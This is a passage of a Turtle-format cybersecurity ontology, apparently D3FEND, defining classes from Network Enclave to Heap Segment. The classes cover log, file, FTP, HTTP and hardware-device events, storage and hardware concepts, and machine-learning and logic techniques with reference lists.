    d3f:definition "Network enclaves consist of standalone assets that do not interact with other information systems or networks. A major difference between a DMZ or demilitarized zone and a network enclave is a DMZ allows inbound and outbound traffic access, where firewall boundaries are traversed. In an enclave, firewall boundaries are not traversed. Enclave protection tools can be used to provide protection within specific security domains. These mechanisms are installed as part of an Intranet to connect networks that have similar security requirements." ;
    d3f:may-contain d3f:LocalAreaNetwork ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Network_enclave> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:LocalAreaNetwork ],
        d3f:DigitalInformationBearer ;
    skos:altLabel "Network Enclave" .

d3f:EncoderApplication a owl:Class ;
    rdfs:label "Encoder Application" ;
    d3f:definition "An application that encodes digital data." ;
    rdfs:subClassOf d3f:CodecApplication .

d3f:EncryptedPassword a owl:Class ;
    rdfs:label "Encrypted Password" ;
    d3f:definition "A password that is encrypted." ;
    rdfs:subClassOf d3f:EncryptedCredential,
        d3f:Password .

d3f:EpistemicLogic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Epistemic Logic" ;
    d3f:d3fend-id "D3A-EL" ;
    d3f:definition "Epistemic logic addresses modalities of knowledge; i.e., the certainty of sentences." ;
    d3f:kb-article """## References
1. Epistemic logic. (2023, June 4). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Modal_logic#Epistemic_logic)""" ;
    d3f:synonym "Epistemic Modal Logic" ;
    rdfs:subClassOf d3f:ModalLogic .

d3f:EventLogArchiveEvent a owl:Class ;
    rdfs:label "Event Log Archive Event" ;
    d3f:definition "An event involving the archiving of event log data, typically to preserve historical records in a compressed or secure format." ;
    rdfs:subClassOf d3f:EventLogEvent .

d3f:EventLogClearEvent a owl:Class ;
    rdfs:label "Event Log Clear Event" ;
    d3f:definition "An event where the event log data is cleared from the system, often as part of log maintenance or potentially to cover tracks." ;
    rdfs:subClassOf d3f:EventLogEvent .

d3f:EventLogDeleteEvent a owl:Class ;
    rdfs:label "Event Log Delete Event" ;
    d3f:definition "An event where the event log database, file, or cache is deleted from the system, removing the log's historical records." ;
    rdfs:subClassOf d3f:EventLogEvent .

d3f:EventLogDisableEvent a owl:Class ;
    rdfs:label "Event Log Disable Event" ;
    d3f:definition "An event indicating that the event logging service has been disabled, preventing it from collecting or recording logs." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:EventLogEnableEvent ],
        d3f:EventLogEvent .

d3f:EventLogExportEvent a owl:Class ;
    rdfs:label "Event Log Export Event" ;
    d3f:definition "An event representing the export of event log data to a file or external system for backup or analysis purposes." ;
    rdfs:subClassOf d3f:EventLogEvent .

d3f:EventLogRestartEvent a owl:Class ;
    rdfs:label "Event Log Restart Event" ;
    d3f:definition "An event representing the restarting of the event logging service, often performed during system maintenance or troubleshooting." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:EventLogStopEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:precedes ;
            owl:someValuesFrom d3f:EventLogStartEvent ],
        d3f:EventLogEvent .

d3f:EventLogRotateEvent a owl:Class ;
    rdfs:label "Event Log Rotate Event" ;
    d3f:definition "An event where the event log is rotated, often as part of log rotation policies to manage storage and ensure continuity." ;
    rdfs:subClassOf d3f:EventLogEvent .

d3f:EvictionEvent a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Eviction Event" ;
    d3f:definition "An event describing actions to remove adversaries or malicious resources from a system, re-establishing security and operational integrity." ;
    d3f:related d3f:Evict ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:DetectionEvent ],
        d3f:SecurityEvent .

d3f:ExactMatching a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exact Matching" ;
    d3f:d3fend-id "D3A-EM" ;
    d3f:definition "Exact matching for numeric types is just the simple test for mathematical equivalence of the values being matched." ;
    d3f:kb-article """## References
1. Equality (mathematics). (2023, May 31). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Equality_(mathematics)]""" ;
    d3f:synonym "Numeric Equivalence Matching" ;
    rdfs:subClassOf d3f:EquivalenceMatching,
        d3f:NumericPatternMatching .

d3f:ExceptionHandler a owl:Class ;
    rdfs:label "Exception Handler" ;
    d3f:definition "An exception handler is a code segment that processes an exception." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Exception_handling> ;
    rdfs:subClassOf d3f:Subroutine .

d3f:Expectation-maximizationClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Expectation-maximization Clustering" ;
    d3f:d3fend-id "D3A-EMC" ;
    d3f:definition "An unsupervised clustering algorithm and extends to NLP applications like Latent Dirichlet Allocation, the Baum-Welch algorithm for Hidden Markov Models, and medical imaging." ;
    d3f:kb-article """## References
Towards Data Science. (n.d.). Expectation Maximization Explained. [Link](https://towardsdatascience.com/expectation-maximization-explained-c82f5ed438e5#:~:text=Expectation%20Maximization%20(EM)%20is%20a,Markov%20Models%2C%20and%20medical%20imaging.)""" ;
    rdfs:subClassOf d3f:Distribution-basedClustering .

d3f:ExpectedErrorReduction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Expected Error Reduction" ;
    d3f:d3fend-id "D3A-EER" ;
    d3f:definition "Expected Error Reduction (EER) follows similar ideas as EMC, but again looks at the model output instead of the model itself and also takes the other data into account. In particular, a sample x is considered useful, if we can expect that knowing the label will reduce the future error on unseen samples" ;
    d3f:kb-article """## References
Intro to Active Learning. inovex Blog.  [Link](https://www.inovex.de/de/blog/intro-to-active-learning/).""" ;
    rdfs:subClassOf d3f:ActiveLearning .

d3f:ExpectedModelChange a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Expected Model Change" ;
    d3f:d3fend-id "D3A-EMC" ;
    d3f:definition "Supervised learning establishes a relationship between the known input and output variables to conduct a predictive analysis." ;
    d3f:kb-article """nal Consiterations

## References
Intro to Active Learning. inovex Blog. [Link](https://www.inovex.de/de/blog/intro-to-active-learning/).""" ;
    rdfs:subClassOf d3f:ActiveLearning .

d3f:FQDNDomainName a d3f:DomainName,
        owl:NamedIndividual ;
    rdfs:label "FQDN Domain Name" .

d3f:FTPDeleteEvent a owl:Class ;
    rdfs:label "FTP Delete Event" ;
    d3f:definition "An event where files or directories are removed from an FTP server, resulting in their permanent deletion from the remote system." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FTPPutEvent ],
        d3f:FTPEvent .

d3f:FTPGetEvent a owl:Class ;
    rdfs:label "FTP Get Event" ;
    d3f:definition "An event where a file is downloaded from an FTP server to a client, retrieving data from the remote system to the local destination." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FTPPutEvent ],
        d3f:FTPEvent .

d3f:FTPListEvent a owl:Class ;
    rdfs:label "FTP List Event" ;
    d3f:definition "An event where the contents of a directory on an FTP server are listed, providing metadata such as file names, sizes, and timestamps." ;
    rdfs:subClassOf d3f:FTPEvent .

d3f:FTPPollEvent a owl:Class ;
    rdfs:label "FTP Poll Event" ;
    d3f:definition "An event where a client queries an FTP server to check for the presence of specific files or directories without initiating a transfer." ;
    rdfs:subClassOf d3f:FTPEvent .

d3f:FTPRenameEvent a owl:Class ;
    rdfs:label "FTP Rename Event" ;
    d3f:definition "An event where files or directories on an FTP server are renamed, modifying their identifiers without altering their content or location." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FTPPutEvent ],
        d3f:FTPEvent .

d3f:FastSymbolicLink a owl:Class ;
    rdfs:label "Fast Symbolic Link" ;
    d3f:definition "Fast symbolic links, allow storage of the target path within the data structures used for storing file information on disk (e.g., within the inodes). This space normally stores a list of disk block addresses allocated to a file. Thus, symlinks with short target paths are accessed quickly. Systems with fast symlinks often fall back to using the original method if the target path exceeds the available inode space." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Symbolic_link#Storage_of_symbolic_links> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Symbolic_link#Storage_of_symbolic_links> ;
    rdfs:subClassOf d3f:SymbolicLink,
        d3f:UnixLink ;
    owl:disjointWith d3f:SlowSymbolicLink ;
    skos:altLabel "Fast Symlink" .

d3f:FileContentBlockMetadata a owl:Class ;
    rdfs:label "File Content Block Metadata" ;
    d3f:definition "Content Blocks may contain metadata specific to the block's content at the beginning." ;
    rdfs:subClassOf d3f:FileMetadata .

d3f:FileCopyEvent a owl:Class ;
    rdfs:label "File Copy Event" ;
    d3f:definition "An event where a file is duplicated, creating a new file in a different location or under a different name while preserving the original file's content and attributes." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FileAccessEvent ],
        d3f:FileCreationEvent .

d3f:FileDecryptionEvent a owl:Class ;
    rdfs:label "File Decryption Event" ;
    d3f:definition "An event where a previously encrypted file is decoded, rendering its content accessible to authorized users or processes." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FileEncryptionEvent ],
        d3f:FileEvent .

d3f:FileDeletionEvent a owl:Class ;
    rdfs:label "File Deletion Event" ;
    d3f:definition "An event where a file is permanently removed from the file system or storage medium, potentially triggering actions related to data retention or recovery." ;
    rdfs:subClassOf d3f:FileEvent .

d3f:FileFooterBlockContent a owl:Class ;
    rdfs:label "File Footer Block Content" ;
    d3f:definition "The content of a footer block not including the signature." ;
    rdfs:subClassOf d3f:FileMetadata .

d3f:FileFooterBlockSignature a owl:Class ;
    rdfs:label "File Footer Block Signature" ;
    d3f:definition "A sequence of bytes used to identify and validate the footer section within a file." ;
    rdfs:subClassOf d3f:FileMetadata .

d3f:FileGetAttributesEvent a owl:Class ;
    rdfs:label "File Get Attributes Event" ;
    d3f:definition "An event where a file's metadata attributes, such as size, creation date, or type, are queried or retrieved without altering its content." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FileCreationEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FileAccessEvent ],
        d3f:FileEvent .

d3f:FileGetPermissionsEvent a owl:Class ;
    rdfs:label "File Get Permissions Event" ;
    d3f:definition "An event where a file's security settings or access control list (ACL) is retrieved, detailing permissions granted to users or processes." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FileCreationEvent ],
        d3f:FileEvent .

d3f:FileHeaderBlockContent a owl:Class ;
    rdfs:label "File Header Block Content" ;
    d3f:definition "The content of a header block not including the signature." ;
    rdfs:subClassOf d3f:FileMetadata .

d3f:FileRenamingEvent a owl:Class ;
    rdfs:label "File Renaming Event" ;
    d3f:definition "An event representing the renaming of a file, modifying its identifier within the file system while retaining its content and metadata." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FileAccessEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FileCreationEvent ],
        d3f:FileEvent .

d3f:FileServer a owl:Class ;
    rdfs:label "File Server" ;
    d3f:definition "The term server highlights the role of the machine in the traditional client-server scheme, where the clients are the workstations using the storage. A file server does not normally perform computational tasks or run programs on behalf of its client workstations. File servers are commonly found in schools and offices, where users use a local area network to connect their client computers." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/File_server> ;
    rdfs:subClassOf d3f:Server .

d3f:FileSetAttributesEvent a owl:Class ;
    rdfs:label "File Set Attributes Event" ;
    d3f:definition "An event where a file's metadata attributes are modified, such as changing its timestamps, labels, or categorization within the system." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FileAccessEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FileCreationEvent ],
        d3f:FileEvent .

d3f:FileSetPermissionsEvent a owl:Class ;
    rdfs:label "File Set Permissions Event" ;
    d3f:definition "An event involving the modification of a file's permissions or access control list (ACL), specifying which users or processes are granted or restricted access." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FileCreationEvent ],
        d3f:FileEvent .

d3f:FileShareService a owl:Class ;
    rdfs:label "File Share Service" ;
    d3f:definition "A file sharing service (or file share service) provides the ability to share data across a network." ;
    rdfs:seeAlso <http://dbpedia.org/resource/File_sharing> ;
    rdfs:subClassOf d3f:NetworkService .

d3f:FileSystemSensor a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File System Sensor" ;
    d3f:definition "Collects files and file metadata on an endpoint." ;
    d3f:monitors d3f:File ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:File ],
        d3f:EndpointSensor .

d3f:FileUnmountEvent a owl:Class ;
    rdfs:label "File Unmount Event" ;
    d3f:definition "An event where a file system or storage volume is unmounted, disconnecting its files and directories from the operating system or applications." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FileMountEvent ],
        d3f:FileEvent .

d3f:FileUpdateEvent a owl:Class ;
    rdfs:label "File Update Event" ;
    d3f:definition "An event involving changes to the content or metadata of an existing file, reflecting updates that alter its state or properties." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FileCreationEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FileAccessEvent ],
        d3f:FileEvent .

d3f:FingerPrintScannerInputDevice a owl:Class ;
    rdfs:label "Finger Print Scanner Input Device" ;
    d3f:definition "A fingerprint sensor is an electronic device used to capture a digital image of the fingerprint pattern. The captured image is called a live scan. This live scan is digitally processed to create a biometric template (a collection of extracted features) which is stored and used for matching. Many technologies have been used including optical, capacitive, RF, thermal, piezoresistive, ultrasonic, piezoelectric, and MEMS." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Fingerprint#Fingerprint_sensors> ;
    rdfs:subClassOf d3f:ImageScannerInputDevice ;
    skos:altLabel "Fingerprint Sensor" .

d3f:FirmwareSensor a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Firmware Sensor" ;
    d3f:definition "Collects information on firmware installed on an Endpoint." ;
    d3f:monitors d3f:Firmware ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:Firmware ],
        d3f:EndpointSensor .

d3f:First-orderLogic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "First-order Logic" ;
    d3f:d3fend-id "D3A-FOL" ;
    d3f:definition "First-order logic is a collection of formal systems used in mathematics, philosophy, linguistics, and computer science. First-order logic uses quantified variables over non-logical objects, and allows the use of sentences that contain variables." ;
    d3f:kb-article """## How it works

For propositions such as "Socrates is a man", one can have expressions in the form "there exists x such that x is Socrates and x is a man", where "there exists" is a quantifier, while x is a variable. This distinguishes it from propositional logic, which does not use quantifiers or relations.

The term "first-order" distinguishes first-order logic from higher-order logic, in which there are predicates having predicates or functions as arguments, or in which quantification over predicates, functions, or both, are permitted.

## Considerations

- Advantages:
-- First-order logic is more expressive than propositional logic; one can talk about objects and their properties, relations between objects.
-- First-order logic is able to make use of variables and quantifiers (e.g., "for all" and "exists".)
-- First-order logic supports power forms of reasoning, such as inferring the properties of an unknown object from the properties of known objects.

- Disadvantages:
-- First-order logic is more difficult to learn and use than propositional logic, due to its greater complexity.
-- First-order logic is also less tractable than propositional logic in many cases; reasoning about quantifiers and variables adds complexity.
-- First-order logic can be difficult to apply in practice, due to the need to find appropriate axioms and rules for each application.

### Verification Approach

- Automated theorem provers can assist in formal verification, performing automated reasoning over system modeled in first-order logic and explore a complete space of system behaviors
- First-order logic may be more expressive than necessary for many types of problems and may be more difficult to verify by SMEs.
- Theorem provers based in FOL are capable of use in software verification tasks, but an SMT solver such as Z3 might be more appropriate.
- Defining a set of competency questions (i.e., query use cases for a first-order logic ontology) can help scope the logic required for a complete solution.

### Validation Approach

- Domain SMEs should be identified to review the analytics results and compare them to expected results for a given input.
- Where possible, an outside team of SMEs should inspect the formal logic specification of a system against its stated requirements and suitability to address its domain problem sets.
- Defining a set of competency questions and the expected results provides one means of validation.

## References

1.  First-order logic. (2023, May 26). In _Wikipedia_.  [Link](https://en.wikipedia.org/wiki/First-order_logic)
2. Shapiro, S. and Kissel, T. Classical Logic. (2022). Stanford Encyclopedia of Philosophy. [Link](https://plato.stanford.edu/entries/logic-classical/)
3. A.I. For Anyone. First-order Logic (n.d.). [Link](https://www.aiforanyone.org/glossary/first-order-logic)
4. Smith, P. An Introduction to Formal Logic. (2020). [Link](https://doi.org/10.1017/9781108328999)
5. Gruninger, M. and Fox, M. (1995). Methodology for the Design and Evaluation of Ontologies. [Link](https://www.researchgate.net/publication/2288533_Methodology_for_the_Design_and_Evaluation_of_Ontologies)
6. Keet, C., Suarez-Figurosa, M., and Poveda-Villalon, M. (2014). Pitfalls in Ontologies and TIPS to Prevent Them. [Link](https://dl.acm.org/doi/10.4018/ijswis.2014040102)
7. Bjorner, N. et al. The inner magic behind the Z3 theorem prover. (2019) [Link](https://www.microsoft.com/en-us/research/blog/the-inner-magic-behind-the-z3-theorem-prover/)""" ;
    d3f:synonym "FOL",
        "First-order Predicate Calculus",
        "Quantificational Logic" ;
    rdfs:subClassOf d3f:PredicateLogic .

d3f:First-stageBootLoader a owl:Class ;
    rdfs:label "First-stage Boot Loader" ;
    d3f:definition "The very first routine run in order to load the operating system." ;
    rdfs:subClassOf d3f:BootLoader .

d3f:FlashMemory a owl:Class ;
    rdfs:label "Flash Memory" ;
    d3f:definition "Flash memory is an electronic non-volatile computer memory storage medium that can be electrically erased and reprogrammed." ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Flash_memory> ;
    rdfs:subClassOf d3f:SecondaryStorage .

d3f:ForwardProxyServer a owl:Class ;
    rdfs:label "Forward Proxy Server" ;
    d3f:definition "An forward (or open) proxy is a proxy server that is accessible by any Internet user. Generally, a proxy server only allows users within a network group (i.e. a closed proxy) to store and forward Internet services such as DNS or web pages to reduce and control the bandwidth used by the group. With an open proxy, however, any user on the Internet is able to use this forwarding service." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Open_proxy> ;
    rdfs:subClassOf d3f:ProxyServer .

d3f:FullVolumeSnapshot a owl:Class ;
    rdfs:label "Full Volume Snapshot" ;
    d3f:definition "A full volume snapshot is a point-in-time copy of the complete contents of a volume." ;
    rdfs:seeAlso <https://aws.amazon.com/compare/the-difference-between-incremental-differential-and-other-backups/> ;
    rdfs:subClassOf d3f:VolumeSnapshot .

d3f:FuzzyLogic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Fuzzy Logic" ;
    d3f:d3fend-id "D3A-FL" ;
    d3f:definition "Fuzzy logic is a form of many-valued logic in which the truth value of variables may be any real number between 0 and 1." ;
    d3f:kb-article """## How it works
It is employed to handle the concept of partial truth, where the truth value may range between completely true and completely false.[1] By contrast, in Boolean logic, the truth values of variables may only be the integer values 0 or 1.

## References
1. Fuzzy logic. (2023, May 28). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Fuzzy_logic)""" ;
    rdfs:subClassOf d3f:SymbolicAI .

d3f:GPT a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "GPT" ;
    d3f:d3fend-id "D3A-GPT" ;
    d3f:definition "Generative pre-trained transformers (GPT) are a type of large language model (LLM) and a prominent framework for generative artificial intelligence." ;
    d3f:kb-article """## References
Generative pre-trained transformer. (n.d.). In Wikipedia. [Link](https://en.wikipedia.org/wiki/Generative_pre-trained_transformer)""" ;
    d3f:synonym "Generative Pre-trained Transformer" ;
    rdfs:subClassOf d3f:Transformer-basedLearning .

d3f:GatedRecurrentUnit a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Gated Recurrent Unit" ;
    d3f:d3fend-id "D3A-GRU" ;
    d3f:definition "The GRU is like a long short-term memory (LSTM) with a forget gate, but has fewer parameters than LSTM, as it lacks an output gate. GRU's performance on certain tasks of polyphonic music modeling, speech signal modeling and natural language processing was found to be similar to that of LSTM" ;
    d3f:kb-article """## References
Wikipedia. (2021, September 20). Gated Recurrent Unit. [Link](https://en.wikipedia.org/wiki/Gated_recurrent_unit)""" ;
    rdfs:subClassOf d3f:RecurrentNeuralNetwork .

d3f:GetForegroundWindow a d3f:GetOpenWindows,
        owl:NamedIndividual ;
    rdfs:label "Get Foreground Window" ;
    rdfs:isDefinedBy <https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getforegroundwindow> .

d3f:GoodmanAndKruskalsGamma a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Goodman and Kruskal's Gamma" ;
    d3f:d3fend-id "D3A-GAKG" ;
    d3f:definition "Goodman-Kruskal $\\\\gamma$ is a measure of rank correlation between x and y and is given by $(n_c -n_d) / (n_c + n_d)$, where $n_c$ is the number of concordant pairs of the observations and $n_d$ is the number of discordant pairs." ;
    d3f:kb-article """## References
1. Wolfram Research. (2012). GoodmanKruskalGamma. Wolfram Language function.  [Link](https://reference.wolfram.com/language/ref/GoodmanKruskalGamma.html)
1. Goodman and Kruskal's gamma. (2022, Nov 23). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Goodman_and_Kruskal%27s_gamma]""" ;
    rdfs:isDefinedBy <https://reference.wolfram.com/language/ref/GoodmanKruskalGamma.html> ;
    rdfs:subClassOf d3f:RankCorrelationCoefficient .

d3f:GradientBoostedDecisionTree a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Gradient-Boosted Decision Tree" ;
    d3f:d3fend-id "D3A-GBDT" ;
    d3f:definition "A gradient-boosted decision tree is, as in other bagging and boosting methods, a method where the relatively 'weak' machine learning model (a decision tree) is used in an ensemble to form a 'strong' machine learning model." ;
    d3f:kb-article """## Reference

1. Google. (28 Sep 2023). Gradient Boosted Decision Trees.
[Link](https://developers.google.com/machine-learning/decision-forests/intro-to-gbdt).""" ;
    rdfs:subClassOf d3f:CART .

d3f:Graph-basedSemi-supervisedLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Graph-based Semi-supervised Learning" ;
    d3f:d3fend-id "D3A-GBSSL" ;
    d3f:definition "Graph-based Semi-Supervised Learning (GSSL) methods aim to classify unlabeled data by learning the graph structure and labeled data jointly." ;
    d3f:kb-article """## References
Yang, S., Pan, L., & Cheng, J. (2021). Graph-based Semi-Supervised Learning Methods for Imbalanced Data Classification. [Link](https://www.sciencedirect.com/science/article/pii/S0031320321002132?viewFullText=true).""" ;
    rdfs:subClassOf d3f:Semi-supervisedTransductiveLearning .

d3f:GraphicsProcessingUnit a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Graphics Processing Unit" ;
    d3f:contains d3f:GraphicsCardFirmware ;
    d3f:definition "A Graphics Processing Unit (GPU) is a specialized processor designed to efficiently perform parallel computations, primarily for rendering graphics and visual data." ;
    d3f:synonym "GPU" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:GraphicsCardFirmware ],
        d3f:Processor .

d3f:Grid-CNN a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Grid-CNN" ;
    d3f:d3fend-id "D3A-GC" ;
    d3f:definition "A class of neural networks that specializes in processing data that has a grid-like topology, such as an image." ;
    d3f:kb-article """## References
Talukdar, P. (2020, June 10). Convolutional Neural Networks Explained. Towards Data Science. [Link](https://towardsdatascience.com/convolutional-neural-networks-explained-9cc5188c4939)""" ;
    rdfs:subClassOf d3f:ConvolutionalNeuralNetwork .

d3f:Grid-basedClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Grid-based Clustering" ;
    d3f:d3fend-id "D3A-GBC" ;
    d3f:definition "Divides the entire data space into a finite number of cells reducing the complexity of the data and focuses on the cells rather than the data." ;
    d3f:kb-article """## References
TechVidvan. (n.d.). Clustering in Machine Learning Tutorial. [Link](https://techvidvan.com/tutorials/clustering-in-machine-learning/)""" ;
    rdfs:subClassOf d3f:High-dimensionClustering .

d3f:GroupDeletionEvent a owl:Class ;
    rdfs:label "Group Deletion Event" ;
    d3f:definition "An event where an existing group is permanently removed from the system, dissolving its associated memberships and privileges." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:GroupCreationEvent ],
        d3f:GroupManagementEvent .

d3f:HTTPConnectEvent a owl:Class ;
    rdfs:label "HTTP CONNECT Event" ;
    d3f:definition "An event where the HTTP CONNECT method is used to establish a tunnel to the server identified by the target resource." ;
    rdfs:subClassOf d3f:HTTPRequestEvent .

d3f:HTTPDeleteEvent a owl:Class ;
    rdfs:label "HTTP DELETE Event" ;
    d3f:definition "An event where the HTTP DELETE method is used to delete the specified resource." ;
    rdfs:subClassOf d3f:HTTPRequestEvent .

d3f:HTTPGetEvent a owl:Class ;
    rdfs:label "HTTP GET Event" ;
    d3f:definition "An event where the HTTP GET method is used to request a representation of the specified resource." ;
    rdfs:subClassOf d3f:HTTPRequestEvent .

d3f:HTTPHeadEvent a owl:Class ;
    rdfs:label "HTTP HEAD Event" ;
    d3f:definition "An event where the HTTP HEAD method is used to request metadata about the specified resource without the response body." ;
    rdfs:subClassOf d3f:HTTPRequestEvent .

d3f:HTTPOptionsEvent a owl:Class ;
    rdfs:label "HTTP OPTIONS Event" ;
    d3f:definition "An event where the HTTP OPTIONS method is used to describe the communication options for the target resource." ;
    rdfs:subClassOf d3f:HTTPRequestEvent .

d3f:HTTPPostEvent a owl:Class ;
    rdfs:label "HTTP POST Event" ;
    d3f:definition "An event where the HTTP POST method is used to submit data to the specified resource, often causing a change in state or side effects on the server." ;
    rdfs:subClassOf d3f:HTTPRequestEvent .

d3f:HTTPPutEvent a owl:Class ;
    rdfs:label "HTTP PUT Event" ;
    d3f:definition "An event where the HTTP PUT method is used to replace all current representations of the target resource with the request payload." ;
    rdfs:subClassOf d3f:HTTPRequestEvent .

d3f:HTTPResponseEvent a owl:Class ;
    rdfs:label "HTTP Response Event" ;
    d3f:definition "An event where an HTTP response is sent from a server to a client over an established TCP connection." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:HTTPRequestEvent ],
        d3f:HTTPEvent .

d3f:HTTPSURL a d3f:URL,
        owl:NamedIndividual ;
    rdfs:label "HTTPS URL" .

d3f:HTTPTraceEvent a owl:Class ;
    rdfs:label "HTTP TRACE Event" ;
    d3f:definition "An event where the HTTP TRACE method is used to perform a message loop-back test along the path to the target resource." ;
    rdfs:subClassOf d3f:HTTPRequestEvent .

d3f:HTTPURL a d3f:URL,
        owl:NamedIndividual ;
    rdfs:label "HTTP URL" .

d3f:HardDiskFirmware a owl:Class ;
    rdfs:label "Hard Disk Firmware" ;
    d3f:definition "Firmware that is installed on a hard disk device." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Hard_disk_drive> ;
    rdfs:subClassOf d3f:PeripheralFirmware ;
    skos:altLabel "Hard Drive Firmware" .

d3f:HardeningEvent a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Hardening Event" ;
    d3f:definition "An event involving actions to strengthen defenses, such as applying patches or implementing secure configurations, reducing attack surfaces, and increasing the difficulty of exploitation by adversaries." ;
    d3f:related d3f:Harden ;
    rdfs:subClassOf d3f:SecurityEvent .

d3f:HardwareDeviceDisabledEvent a owl:Class ;
    rdfs:label "Hardware Device Disabled Event" ;
    d3f:definition "An event where a device transitions to an inactive or unavailable state, often due to deactivation, failure, or maintenance." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:HardwareDeviceEnabledEvent ],
        d3f:HardwareDeviceStateEvent .

d3f:HardwareDeviceDisconnectionEvent a owl:Class ;
    rdfs:label "Hardware Device Disconnection Event" ;
    d3f:definition "An event representing the removal of a device from a system, ceasing its operational functionality or availability." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:HardwareDeviceConnectionEvent ],
        d3f:HardwareDeviceStateEvent .

d3f:HardwareDeviceMoveEvent a owl:Class ;
    rdfs:label "Hardware Device Move Event" ;
    d3f:definition "An event where a device is relocated or reassigned within a system or network, potentially affecting its operational scope or connectivity." ;
    rdfs:subClassOf d3f:HardwareDeviceStateEvent .

d3f:HardwareDeviceUnbindEvent a owl:Class ;
    rdfs:label "Hardware Device Unbind Event" ;
    d3f:definition "An event where a device is logically unbound from a system or process, releasing it from exclusive use or integration." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:HardwareDeviceBindEvent ],
        d3f:HardwareDeviceStateEvent .

d3f:HardwareDeviceUpdateEvent a owl:Class ;
    rdfs:label "Hardware Device Update Event" ;
    d3f:definition "An event capturing updates or changes to a device's configuration, properties, or state, including firmware updates, reconfigurations, or optimizations." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:HardwareDeviceConnectionEvent ],
        d3f:HardwareDeviceStateEvent .

d3f:HeapSegment a owl:Class ;
    rdfs:label "Heap Segment" ;
